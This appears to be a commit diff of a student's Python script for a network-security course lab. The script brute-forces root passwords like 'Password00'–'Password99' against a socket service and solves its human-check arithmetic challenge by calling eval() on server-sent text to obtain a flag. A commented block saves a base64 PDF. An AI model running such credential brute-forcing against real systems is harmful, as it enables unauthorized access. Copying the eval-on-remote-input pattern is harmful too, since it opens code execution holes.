update
This commit is contained in:
@ -4,12 +4,10 @@ import time
|
||||
HOST = 'netsec.net.in.tum.de' # TODO
|
||||
PORT = 64984 # TODO
|
||||
|
||||
def gen_crends():
|
||||
credentials = "root,Password00"
|
||||
return credentials
|
||||
|
||||
def get_flag():
|
||||
credentials = "root,Password19"
|
||||
|
||||
def get_flag2():
|
||||
credentials = "root,Passwordr00"
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
sf = s.makefile('rw') # we use a file abstraction for the sockets
|
||||
@ -17,19 +15,16 @@ def get_flag():
|
||||
sf.write("{}\n".format(credentials))
|
||||
sf.flush()
|
||||
data = sf.readline().rstrip('\n')
|
||||
print(data)
|
||||
response = eval(data)
|
||||
sf.write("{}\n".format(response))
|
||||
resp = eval(data)
|
||||
sf.write("{}\n".format(resp))
|
||||
sf.flush()
|
||||
print(sf.readline().rstrip('\n'))
|
||||
flag = sf.readline().rstrip('\n')
|
||||
return flag
|
||||
print(sf.readline().rstrip('\n'))
|
||||
|
||||
|
||||
def find_port_get_flag():
|
||||
def get_flag():
|
||||
for i in range(100):
|
||||
time.sleep(1)
|
||||
credentials = "root,Password"+str("%02d" % i)
|
||||
time.sleep(2)
|
||||
credentials = "root,Passwordr"+str("%02d" % i)
|
||||
print(credentials)
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
@ -39,13 +34,60 @@ def find_port_get_flag():
|
||||
sf.write("{}\n".format(credentials))
|
||||
sf.flush()
|
||||
data = sf.readline().rstrip('\n')
|
||||
answer = eval(data)
|
||||
sf.write("{}\n".format(answer))
|
||||
resp = eval(data)
|
||||
sf.write("{}\n".format(resp))
|
||||
sf.flush()
|
||||
print(sf.readline().rstrip('\n'))
|
||||
print(sf.readline().rstrip('\n'))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
# def ans():
|
||||
# for i in range(100):
|
||||
# credentials = 'root'+','+'Password'+str("%02d" % i)
|
||||
# print(credentials)
|
||||
# try:
|
||||
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# s.connect((HOST, PORT))
|
||||
# sf = s.makefile("rw") # we use a file abstraction for the sockets
|
||||
|
||||
# sf.write("{}\n".format(credentials))
|
||||
# sf.flush()
|
||||
|
||||
# challenge = sf.readline().rstrip('\n')
|
||||
|
||||
# print("Solve the following equation to prove you are human: ", challenge)
|
||||
|
||||
# inToPosEx = infix_to_postfix(challenge)
|
||||
# value = postfixEval(inToPosEx)
|
||||
|
||||
# print('VALUE = ',value)
|
||||
# sf.write("{}\n".format(str(value)))
|
||||
# sf.flush()
|
||||
|
||||
# data = sf.readline().rstrip('\n')
|
||||
# print("From Server: `{}'".format(data))
|
||||
|
||||
# data = sf.readline().rstrip('\n')
|
||||
# print("From Server: received {} bytes".format(len(data)))
|
||||
|
||||
# data = b64decode(data.encode())
|
||||
|
||||
# pdf_hdr = b'%PDF-1.5'
|
||||
|
||||
# if len(data) >= len(pdf_hdr) and data[:len(pdf_hdr)] == pdf_hdr:
|
||||
# print("Looks like we got a PDF!")
|
||||
# # TODO write the received data to a file
|
||||
# f = open('a.pdf','wb')
|
||||
# f.write(data)
|
||||
# f.close()
|
||||
# sf.close()
|
||||
# s.close()
|
||||
# except:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
print(get_flag())
|
||||
get_flag()
|
Reference in New Issue
Block a user